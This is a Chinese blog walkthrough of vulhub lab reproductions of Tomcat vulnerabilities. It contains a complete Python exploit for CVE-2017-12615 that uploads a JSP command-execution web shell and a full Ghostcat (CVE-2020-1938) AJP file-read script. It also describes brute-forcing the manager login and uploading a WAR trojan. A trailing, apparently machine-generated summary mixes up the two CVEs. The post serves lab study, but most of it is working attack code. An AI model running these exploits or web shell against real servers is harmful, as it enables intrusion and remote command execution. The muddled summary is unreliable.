【vulhub】tomcat

0x00 CVE-2017-12615(任意文件上传)

1、介绍

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
————————————————
https://blog.csdn.net/qq_45300786/article/details/115752457

2、影响版本

Apache Tomcat 7.0.0 - 7.0.81

3、搭建

docker

4、复现

方法一:

linux的kali进行put写入木马

 

 

方法二:

直接打脚本,原理就是构造一个请求包。(用python2,用python3的话会因为没有括号报错)

import requests
import sys
import time

'''
Usage:
	python CVE-2017-12615.py http://127.0.0.1

	shell: http://127.0.0.1/shell.jsp?pwd=AF&cmd=whoami


'''

def attack(url):
	user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
	headers={"User-Agent":user_agent}
	data="""<%
    if("AF".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>"""
	try:
		requests.put(url, headers=headers, data=data)

		time.sleep(2)

		verify_response = requests.get(url[:-1], headers=headers)

		if verify_response.status_code == 200:
			print 'success!'
		else :
			print verify_response.status_code

	except :
		"error"

if __name__ == '__main__':
	target_url = sys.argv[1] + '/shell.jsp/'

	attack(target_url)
	print 'shell: ' + target_url[:-1]

 运行poc处的shell

 0x01 CVE-2020-1938(幽灵猫,文件读取)

CVE-2020-1938漏洞复现(幽灵猫)_muddlelife的博客-CSDN博客_cve-2020-1938

1、介绍

Java是目前Web开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。
Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
这个漏洞影响全版本默认配置下的 Tomcat(在我们发现此漏洞的时候,确认其影响 Tomcat 9/8/7/6 全版本,而年代过于久远的更早的版本未进行验证),这意味着它在 Tomcat 里已经潜伏了长达十多年的时间。
影响版本

2、影响版本

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

3、复现

tomcat-cat.py

#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
        if s is None:
                return struct.pack(">h", -1)
        l = len(s)
        return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
        size = struct.calcsize(fmt)
        buf = stream.read(size)
        return struct.unpack(fmt, buf)
def unpack_string(stream):
        size, = unpack(stream, ">h")
        if size == -1: # null string
                return None
        res, = unpack(stream, "%ds" % size)
        stream.read(1) # \0
        return res
class NotFoundException(Exception):
        pass
class AjpBodyRequest(object):
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        MAX_REQUEST_LENGTH = 8186
        def __init__(self, data_stream, data_len, data_direction=None):
                self.data_stream = data_stream
                self.data_len = data_len
                self.data_direction = data_direction
        def serialize(self):
                data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
                if len(data) == 0:
                        return struct.pack(">bbH", 0x12, 0x34, 0x00)
                else:
                        res = struct.pack(">H", len(data))
                        res += data
                if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
                        header = struct.pack(">bbH", 0x12, 0x34, len(res))
                else:
                        header = struct.pack(">bbH", 0x41, 0x42, len(res))
                return header + res
        def send_and_receive(self, socket, stream):
                while True:
                        data = self.serialize()
                        socket.send(data)
                        r = AjpResponse.receive(stream)
                        while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                                r = AjpResponse.receive(stream)

                        if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                                break
class AjpForwardRequest(object):
        _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
        REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        COMMON_HEADERS = ["SC_REQ_ACCEPT",
                "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
                "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
                "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
        ]
        ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
        def __init__(self, data_direction=None):
                self.prefix_code = 0x02
                self.method = None
                self.protocol = None
                self.req_uri = None
                self.remote_addr = None
                self.remote_host = None
                self.server_name = None
                self.server_port = None
                self.is_ssl = None
                self.num_headers = None
                self.request_headers = None
                self.attributes = None
                self.data_direction = data_direction
        def pack_headers(self):
                self.num_headers = len(self.request_headers)
                res = ""
                res = struct.pack(">h", self.num_headers)
                for h_name in self.request_headers:
                        if h_name.startswith("SC_REQ"):
                                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                                res += struct.pack("BB", 0xA0, code)
                        else:
                                res += pack_string(h_name)

                        res += pack_string(self.request_headers[h_name])
                return res

        def pack_attributes(self):
                res = b""
                for attr in self.attributes:
                        a_name = attr['name']
                        code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
                        res += struct.pack("b", code)
                        if a_name == "req_attribute":
                                aa_name, a_value = attr['value']
                                res += pack_string(aa_name)
                                res += pack_string(a_value)
                        else:
                                res += pack_string(attr['value'])
                res += struct.pack("B", 0xFF)
                return res
        def serialize(self):
                res = ""
                res = struct.pack("bb", self.prefix_code, self.method)
                res += pack_string(self.protocol)
                res += pack_string(self.req_uri)
                res += pack_string(self.remote_addr)
                res += pack_string(self.remote_host)
                res += pack_string(self.server_name)
                res += struct.pack(">h", self.server_port)
                res += struct.pack("?", self.is_ssl)
                res += self.pack_headers()
                res += self.pack_attributes()
                if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
                        header = struct.pack(">bbh", 0x12, 0x34, len(res))
                else:
                        header = struct.pack(">bbh", 0x41, 0x42, len(res))
                return header + res
        def parse(self, raw_packet):
                stream = StringIO(raw_packet)
                self.magic1, self.magic2, data_len = unpack(stream, "bbH")
                self.prefix_code, self.method = unpack(stream, "bb")
                self.protocol = unpack_string(stream)
                self.req_uri = unpack_string(stream)
                self.remote_addr = unpack_string(stream)
                self.remote_host = unpack_string(stream)
                self.server_name = unpack_string(stream)
                self.server_port = unpack(stream, ">h")
                self.is_ssl = unpack(stream, "?")
                self.num_headers, = unpack(stream, ">H")
                self.request_headers = {}
                for i in range(self.num_headers):
                        code, = unpack(stream, ">H")
                        if code > 0xA000:
                                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
                        else:
                                h_name = unpack(stream, "%ds" % code)
                                stream.read(1) # \0
                        h_value = unpack_string(stream)
                        self.request_headers[h_name] = h_value
        def send_and_receive(self, socket, stream, save_cookies=False):
                res = []
                i = socket.sendall(self.serialize())
                if self.method == AjpForwardRequest.POST:
                        return res

                r = AjpResponse.receive(stream)
                assert r.prefix_code == AjpResponse.SEND_HEADERS
                res.append(r)
                if save_cookies and 'Set-Cookie' in r.response_headers:
                        self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

                # read body chunks and end response packets
                while True:
                        r = AjpResponse.receive(stream)
                        res.append(r)
                        if r.prefix_code == AjpResponse.END_RESPONSE:
                                break
                        elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                                continue
                        else:
                                raise NotImplementedError
                                break

                return res

class AjpResponse(object):
        _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
        COMMON_SEND_HEADERS = [
                        "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
                        "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
                        ]
        def parse(self, stream):
                # read headers
                self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

                if self.prefix_code == AjpResponse.SEND_HEADERS:
                        self.parse_send_headers(stream)
                elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                        self.parse_send_body_chunk(stream)
                elif self.prefix_code == AjpResponse.END_RESPONSE:
                        self.parse_end_response(stream)
                elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
                        self.parse_get_body_chunk(stream)
                else:
                        raise NotImplementedError

        def parse_send_headers(self, stream):
                self.http_status_code, = unpack(stream, ">H")
                self.http_status_msg = unpack_string(stream)
                self.num_headers, = unpack(stream, ">H")
                self.response_headers = {}
                for i in range(self.num_headers):
                        code, = unpack(stream, ">H")
                        if code <= 0xA000: # custom header
                                h_name, = unpack(stream, "%ds" % code)
                                stream.read(1) # \0
                                h_value = unpack_string(stream)
                        else:
                                h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
                                h_value = unpack_string(stream)
                        self.response_headers[h_name] = h_value

        def parse_send_body_chunk(self, stream):
                self.data_length, = unpack(stream, ">H")
                self.data = stream.read(self.data_length+1)

        def parse_end_response(self, stream):
                self.reuse, = unpack(stream, "b")

        def parse_get_body_chunk(self, stream):
                rlen, = unpack(stream, ">H")
                return rlen

        @staticmethod
        def receive(stream):
                r = AjpResponse()
                r.parse(stream)
                return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
        fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
        fr.method = method
        fr.protocol = "HTTP/1.1"
        fr.req_uri = req_uri
        fr.remote_addr = target_host
        fr.remote_host = None
        fr.server_name = target_host
        fr.server_port = 80
        fr.request_headers = {
                'SC_REQ_ACCEPT': 'text/html',
                'SC_REQ_CONNECTION': 'keep-alive',
                'SC_REQ_CONTENT_LENGTH': '0',
                'SC_REQ_HOST': target_host,
                'SC_REQ_USER_AGENT': 'Mozilla',
                'Accept-Encoding': 'gzip, deflate, sdch',
                'Accept-Language': 'en-US,en;q=0.5',
                'Upgrade-Insecure-Requests': '1',
                'Cache-Control': 'max-age=0'
        }
        fr.is_ssl = False
        fr.attributes = []
        return fr

class Tomcat(object):
        def __init__(self, target_host, target_port):
                self.target_host = target_host
                self.target_port = target_port

                self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                self.socket.connect((target_host, target_port))
                self.stream = self.socket.makefile("rb", bufsize=0)

        def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
                self.req_uri = req_uri
                self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
                print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
                if user is not None and password is not None:
                        self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
                for h in headers:
                        self.forward_request.request_headers[h] = headers[h]
                for a in attributes:
                        self.forward_request.attributes.append(a)
                responses = self.forward_request.send_and_receive(self.socket, self.stream)
                if len(responses) == 0:
                        return None, None
                snd_hdrs_res = responses[0]
                data_res = responses[1:-1]
                if len(data_res) == 0:
                        print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
                return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))

 

可以在tomcat路径下创建一个test.txt文件,随便编辑内容,再用kali尝试读取

0x02 tomcat8(弱口令+后台getshell)

1、docker搭建环境

 

2、复现

msf暴破tomcat后台登录页面/manager/html弱口令:

msfconsole
search tomcat

 

 

 

 用弱口令登录/manager/html页面

 上传包含木马的war包getshell,准备好木马文件,这里上传

上传后在目录中找到上传的目录/caidao,木马文件就在这个目录下。

通过cmd小马执行命令:http://...:8080/caidao/cmd.jsp?cmd=id

 

 

 

 

 

要复现Tomcat漏洞,你可以使用vulhub这个平台。Vulhub是一个提供了各种漏洞环境的Docker镜像集合,其中包括了Tomcat漏洞环境。你可以按照以下步骤进行复现: 1. 首先,确保你已经安装了Docker,并且已经启动了Docker服务。 2. 下载vulhub的代码库,你可以在GitHub上找到它:https://github.com/vulhub/vulhub 3. 进入vulhubTomcat漏洞环境目录:cd vulhub/tomcat/CVE-2017-12615 4. 使用Docker Compose启动Tomcat容器:docker-compose up -d 5. 等待容器启动完成后,你可以访问http://localhost:8080来查看Tomcat的欢迎页面。 6. 接下来,你可以使用漏洞复现工具来验证漏洞。在这个漏洞环境中,你可以使用https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar这个AJP包构造器工具来构造恶意请求。 7. 下载ajpfuzzer_v0.6.jar工具。你可以使用wget命令来下载:wget https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar 8. 使用ajpfuzzer_v0.6.jar工具来构造恶意请求,将包含任意代码的JSP文件上传到Tomcat服务器上。 9. 然后,你可以访问上传的JSP文件来执行恶意代码。 通过以上步骤,你就可以成功复现Tomcat漏洞。请注意,这仅仅是为了演示和学习目的,不要在未经授权的情况下使用这些技术攻击他人的系统。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [Tomcat系列漏洞复现——vulhub](https://blog.csdn.net/qq_45612828/article/details/125833415)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [vulhub靶场-tomcat漏洞复现](https://blog.csdn.net/m0_62008601/article/details/125922489)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

haoaaao

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值